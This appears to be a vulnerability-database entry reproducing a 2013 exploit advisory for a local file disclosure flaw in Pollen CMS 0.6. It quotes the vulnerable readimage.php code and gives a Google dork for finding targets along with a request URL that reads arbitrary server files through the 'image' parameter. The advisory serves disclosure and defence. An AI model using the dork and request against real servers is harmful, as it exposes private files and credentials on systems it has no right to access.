Pollen CMS 0.6 (index.php, p param) - Local File Disclosure

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Pollen CMS 0.6 (index.php, p param) - Local File Disclosure, File path vulnerability in Pollen CMS 0.


                                                # Title: Pollen CMS &#60;= 0.6 - Local File Disclosure
# Google Dork: intext:&#34;Powered by Pollen CMS&#34;
# Date: 25 Mars 2013
# Exploit Author: MizoZ
# Vendor Homepage: pollencms.com (BROKEN)
# Software Link: https://code.google.com/p/pollencms/
# Version: 0.6
# Tested on: Ubuntu Desktop 12.04

-- File &#34;[path]/core/lib/readimage.php&#34;

02 - $image=urldecode($_GET[&#34;image&#34;]);
03 - if(is_file($image)){
04 - header(&#34;Pragma: no-cache&#34;);
05 - header(&#34;Expires: 0&#34;);
06 - header(&#34;Last-Modified: &#34; . gmdate(&#34;D, d M Y H:i:s&#34;) . &#34; GMT&#34;);
07 - header(&#34;Cache-Control: no-cache, must-revalidate&#34;);
08 - header(&#34;Content-type: image/jpg&#34;);
09 - readfile($image);
10 - }else{
11 - header(&#34;HTTP/1.0 404 Not Found&#34;);
12 - }


-- Problem

   The script only verifies the existence of the given file.


-- Exploit
http://&#60;server&#62;/&#60;path&#62;/core/lib/readimage.php?image=[php urlencoded path to file]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1